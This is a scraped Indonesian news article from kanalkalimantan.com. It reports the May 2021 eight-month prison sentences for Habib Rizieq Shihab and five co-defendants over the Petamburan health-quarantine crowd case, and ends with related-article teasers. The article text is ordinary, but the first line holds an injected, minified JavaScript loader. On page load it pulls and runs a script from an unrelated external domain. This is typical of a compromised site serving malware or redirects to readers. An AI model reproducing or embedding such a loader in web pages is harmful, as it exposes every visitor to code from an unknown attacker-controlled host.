(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Habib Rizieq Shihab divonis 8 bulan penjara kasus kerumunan Petamburan, Jakarta Pusat, Kamis (27/5/2021). Vonis ini lebih ringan dari tuntutan jaksa yang meminta Rizieq dipenjara selama 2 tahun.
Dalam putusan ini, majelis hakim PN Jakarta Timur juga memvonis 5 terdakwa lainnya dalam kasus Petamburan yakni Haris Ubaidillah, Ahmad Sabri Lubis, Ali Alwi Alatas, Idrus Al-Habsyi, Maman Suryadi. Mereka juga masing-masing dikenakan hukuman penjara 8 bulan.
“Menyatakan terdakwa Mohammad Habib Rizieq Shihab berserta terdakwa lainnya Haris Ubaidillah, Ahmad Sabri Lubis, Ali Alwi Alatas, Idrus Al-Habsyi, Maman Suryadi telah terbukti secara sah dan meyakinkan melakukan tindak pidana tidak mematuhi penyelenggaraan kekarantinaan kesehatan,” kata Ketua Majelis Hakim Suparman Nyompa yang membacakan vonis dalam sidang.
“Menjatuhkan pidana atas diri terdakwa Mohammad Rizieq Shihan terdakwa Haris Ubaidillah, Ahmad Sabri Lubis, Ali Alwi Alatas, Idrus Al-Habsyi, Maman Suryadi, dengan pidana penjara masing selama 8 bulan,” sambungnya.
Majelis hakim menyatakan, hukuman penjara 8 bulan ini lantaran Rizieq dan 5 terdakwa lainnya tidak terbukti dalam melakukan penghasutan.
Rizieq dkk hanya terbukti bersalah melanggar Pasal 93 Undang- Undang Republik Indonesia Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan.
Sebelumnya, pada agenda pledoi atau pembacaan nota pembelaan atas tuntutan, Rizieq meminta dibebaskan secara murni dalam kasus pelanggaran protokol kesehatan di Megamendung.
Sementara dalam kasus pelanggaran prokes Petamburan, Rizieq dalam pledoinya juga meminta hakim memvonis bebas murni dirinya dari berbagai tuntutan jaksa.
Adapun jaksa penuntut umum atau JPU dalam replik atau nota jawaban atas pledoi Rizieq, tetap meminta majelis hakim agar tetap memvonis Rizieq dkk sesuai dengan tuntutan yang ada.
Sebelumnya, dalam kasus kerumunan Megamendung dan Petamburan Rizieq telah dituntut masing-masing 10 bulan dan 2 tahun penjara. Serta tambahan pidana dilarang berkecimpung dalam keormasan selama 3 tahun.
Untuk lima terdakwa lainnya mereka dituntut hukuman penjara selama 1 tahun 6 bulan. Tak hanya itu, mereka juga dituntut diberikan pidana tambahan yakni dilarang berkecimpung dalam keormasan selama 2 tahun. (suara)
KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
This website uses cookies.